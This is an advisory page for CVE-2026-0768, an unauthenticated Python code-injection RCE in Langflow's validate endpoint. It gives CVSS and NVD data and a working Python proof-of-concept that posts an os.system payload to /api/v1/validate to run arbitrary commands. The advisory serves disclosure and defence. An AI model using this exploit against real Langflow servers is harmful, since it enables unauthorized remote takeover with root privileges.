Security Vulnerability Report
中文
CVE-2026-0768 CVSS 9.8 CRITICAL

CVE-2026-0768

Published: 2026-01-23 04:16:04
Last Modified: 2026-02-18 16:43:12

Description

Langflow code Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the code parameter provided to the validate endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of root. . Was ZDI-CAN-27322.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow:1.4.2:-:*:*:*:*:*:* - VULNERABLE
Langflow < 最新安全版本
所有未修复的Langflow版本均受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0768 PoC - Langflow Code Injection RCE # Note: This PoC is for educational and authorized testing purposes only import requests import json import sys def exploit(target_url, command): """ Exploit CVE-2026-0768: Langflow Code Injection Remote Code Execution Args: target_url: Base URL of the vulnerable Langflow instance command: Command to execute on the target system """ # Construct the validate endpoint URL endpoint = f"{target_url.rstrip('/')}/api/v1/validate" # Construct malicious payload - inject Python code via code parameter # Using __import__ to dynamically import os module and execute command payload = f"__import__('os').system('{command}')" # Alternative payload using subprocess # payload = f"__import__('subprocess').check_output('{command}', shell=True)" # Prepare the request data data = { "code": payload } try: # Send the malicious request (no authentication required) response = requests.post(endpoint, json=data, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://localhost:7860 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0768", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:03.800", "lastModified": "2026-02-18T16:43:11.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow code Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the code parameter provided to the validate endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of root.\n. Was ZDI-CAN-27322."}, {"lang": "es", "value": "Vulnerabilidad de inyección de código y ejecución remota de código en Langflow. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Langflow. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe en el manejo del parámetro code proporcionado al endpoint validate. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar código Python. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de root. Fue ZDI-CAN-27322."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:1.4.2:-:*:*:*:*:*:*", "matchCriteriaId": "81AAA7F9-843A-456C-89A1-B99D18AD4328"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-034/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}